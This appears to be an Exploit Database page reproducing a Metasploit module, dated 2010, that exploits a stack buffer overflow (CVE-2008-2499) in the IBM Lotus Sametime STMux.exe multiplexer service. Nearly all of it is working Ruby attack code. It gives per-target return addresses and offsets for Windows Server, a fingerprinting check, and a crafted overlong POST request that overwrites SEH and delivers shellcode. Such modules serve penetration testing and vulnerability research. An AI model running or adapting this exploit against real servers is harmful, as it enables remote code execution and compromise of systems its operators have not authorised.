IBM Lotus Domino Sametime – ‘STMux.exe’ Remote Stack Buffer Overflow (Metasploit)

• Exploit Database
• 11 阅读

• 作者： Metasploit
  日期： 2010-05-09
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16696/

• ##
  # $Id: domino_sametime_stmux.rb 9262 2010-05-09 17:45:00Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name'		=> 'IBM Lotus Domino Sametime STMux.exe Stack Buffer Overflow',
  			'Description'	=> %q{
  					This module exploits a stack buffer overflow in Lotus Domino\'s Sametime
  				Server. By sending an overly long POST request to the Multiplexer
  				STMux.exe service we are able to overwrite SEH. Based on the exploit
  				by Manuel Santamarina Suarez.
  			},
  			'Author'		 => [ 'patrick', 'riaf <riaf@mysec.org>' ],
  			'Arch'			=> [ ARCH_X86 ],
  			'License'		=> MSF_LICENSE,
  			'Version'		=> '$Revision: 9262 $',
  			'References'	=>
  				[
  					[ 'CVE', '2008-2499' ],
  					[ 'OSVDB', '45610' ],
  					[ 'BID', '29328' ],
  					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-08-028/' ],
  				],
  			'Privileged'		=> true,
  			'DefaultOptions'	=>
  				{
  					'EXITFUNC' => 'seh',
  				},
  			'Payload'		=>
  				{
  					'Space'			=> 1024,
  					'BadChars'		=> "\x00\x0a\x0d",
  					'StackAdjustment'	=> -3500,
  				},
  			'Platform' => ['win'],
  			'Targets'=>
  				[
  					# Patrick - Tested OK against Windows 2003 SP1 20081114
  					[ 'Lotus Sametime 7.5 on Windows Server 2000 SP4', { 'Ret' => 0x7c3410c2, 'Offset' => [ 3, 268 ] }], # pop ecx, pop exc, ret msvcr71.dll
  					[ 'Lotus Sametime 7.5 on Windows Server 2003 SP1', { 'Ret' => 0x7c3410c2, 'Offset' => [ 3, 269 ] }], # pop ecx, pop exc, ret msvcr71.dll
  					[ 'Lotus Sametime 7.5 on Windows Server 2003 SP2', { 'Ret' => 0x7c3410c2, 'Offset' => [ 4, 269 ] }],
  					[ 'Lotus Sametime 7.5.1Windows Server 2003 SP2', { 'Ret' => 0x7c3410c2, 'Offset' => [ 5, 269 ] }],
  					[ 'Lotus Sametime 8.0.0Windows Server 2003 SP2', { 'Ret' => 0x7c3410c2, 'Offset' => [ 4, 269 ] }],
  				],
  			'DisclosureDate' => 'May 21 2008',
  			'DefaultTarget' => 1))
  
  		register_options(
  			[
  				Opt::RPORT(1533),
  			], self.class)
  	end
  
  	def check
  		connect
  
  		req = "HEAD / HTTP/1.0\r\n\r\n"
  		req << "User-Agent: Sametime Community Agent\r\n"
  		req << "Host: #{datastore['RHOST']}:#{datastore['RPORT']}\r\n"
  		sock.put(req)
  		res = sock.get_once(-1,3)
  
  		disconnect
  
  		if (res =~/Lotus-Domino/)
  			connect
  
  			req = "GET /CommunityCBR HTTP/1.0\r\n\r\n"
  			req << "User-Agent: Sametime Community Agent\r\n"
  			req << "Host: #{datastore['RHOST']}:#{datastore['RPORT']}\r\n"
  			sock.put(req)
  			res = sock.get_once(-1,3)
  
  			disconnect
  
  			if (res =~/200 OK/)
  				return Exploit::CheckCode::Detected
  			end
  		end
  
  		return Exploit::CheckCode::Safe
  	end
  
  	def exploit
  		connect
  
  		pad1 = rand_text_alpha_lower(44)
  		pad2 = rand_text_alpha_lower(29)
  
  		# Patrick - We should use Metasm here.
  		popebx = Metasm::Shellcode.assemble(Metasm::Ia32.new, "pop ebx").encode_string * target['Offset'][0]
  		popad	 = Metasm::Shellcode.assemble(Metasm::Ia32.new, "popad").encode_string * target['Offset'][1]
  		esp= "\xff\x24\x24" # dword ptr ss:[esp]
  		jmp= "\x74\x23" + "\x75\x21" # je short, jnz short
  		seh = [target['Ret']].pack('V')
  
  		path = pad1 + jmp + seh + pad2 + popebx + popad + esp
  
  		req = "POST /CommunityCBR/CC.39.#{path}/\r\n"
  		req << "User-Agent: Sametime Community Agent\r\n"
  		req << "Host: #{datastore['RHOST']}:#{datastore['RPORT']}\r\n"
  		req << "Content-Length: #{payload.encoded.length}\r\n"
  		req << "Connection: Close\r\n"
  		req << "Cache-Control: no-cache\r\n\r\n"
  		req << payload.encoded
  
  		sock.put(req)
  
  		handler
  		disconnect
  	end
  end